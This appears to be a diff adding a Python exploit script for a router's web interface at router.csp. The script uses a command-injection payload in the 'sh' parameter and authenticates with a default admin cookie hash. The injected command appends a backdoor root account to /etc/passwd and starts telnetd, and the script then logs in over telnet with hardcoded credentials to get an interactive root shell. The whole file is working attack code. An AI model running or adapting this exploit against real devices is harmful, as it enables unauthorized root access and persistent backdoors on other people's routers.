| | 1 | + | #!/usr/bin/env python3 |
| | 2 | + | import requests, sys |
| | 3 | + | from urllib.parse import quote |
| | 4 | + | from time import sleep |
| | 5 | + | from telnetlib import Telnet |
| | 6 | + | |
| | 7 | + | |
| | 8 | + | # default hash for admin password |
| | 9 | + | # hash is md5("admin"+password) |
| | 10 | + | def exec_cmd(cmd, host="192.168.168.1", usrid="f6fdffe48c908deb0f4c3bd36c032e72"): |
| | 11 | + | |
| | 12 | + | payload = f"""';{cmd};#""" |
| | 13 | + | payload = quote(payload) |
| | 14 | + | |
| | 15 | + | |
| | 16 | + | headers = {"Cookie" : f"lstatus=true; usrid={usrid}" } |
| | 17 | + | |
| | 18 | + | url = f"http://{host}/router.csp?fname=net&opt=wifi_lt&function=set&enable=1&time_on=1&week=1100000&sh={payload}&sm=7&eh=6&em=0&math=0.8363175084122203" |
| | 19 | + | |
| | 20 | + | r = requests.post(url, headers=headers) |
| | 21 | + | if not """"error": 0""" in r.text: |
| | 22 | + | print("[!] Error executing command.") |
| | 23 | + | return False |
| | 24 | + | return True |
| | 25 | + | |
| | 26 | + | |
| | 27 | + | |
| | 28 | + | if len(sys.argv) >= 2: |
| | 29 | + | host = sys.argv[1] |
| | 30 | + | if len(sys.argv) == 3: |
| | 31 | + | usrid = sys.argv[2] |
| | 32 | + | else: |
| | 33 | + | # default usrid for password `admin` |
| | 34 | + | usrid = "f6fdffe48c908deb0f4c3bd36c032e72" |
| | 35 | + | else: |
| | 36 | + | host = "192.168.168.1" |
| | 37 | + | usrid = "f6fdffe48c908deb0f4c3bd36c032e72" |
| | 38 | + | |
| | 39 | + | |
| | 40 | + | def login_telnet(host="192.168.168.1"): |
| | 41 | + | try: |
| | 42 | + | with Telnet(host, 23) as tn: |
| | 43 | + | tn.read_until(b"login: ") |
| | 44 | + | tn.write("root2".encode("ascii") + b"\n") |
| | 45 | + | tn.read_until(b"Password: ") |
| | 46 | + | tn.write("mrcake".encode("ascii") + b"\n") |
| | 47 | + | tn.interact() |
| | 48 | + | except: |
| | 49 | + | print("[!] Error connecting to telnet server.") |
| | 50 | + | return False |
| | 51 | + | return True |
| | 52 | + | |
| | 53 | + | print(f"[*] Adding backdoor user and enabling telnet...") |
| | 54 | + | if exec_cmd("""echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/sh" >> /etc/passwd;telnetd""") == True: |
| | 55 | + | print(f"[+] Execution worked") |
| | 56 | + | print(f"[*] Now sleeping for a short period until machine comes back up") |
| | 57 | + | for i in range(5): |
| | 58 | + | sleep(20) |
| | 59 | + | if login_telnet() == True: |
| | 60 | + | break |
| | 61 | + | |
| | 62 | + | |
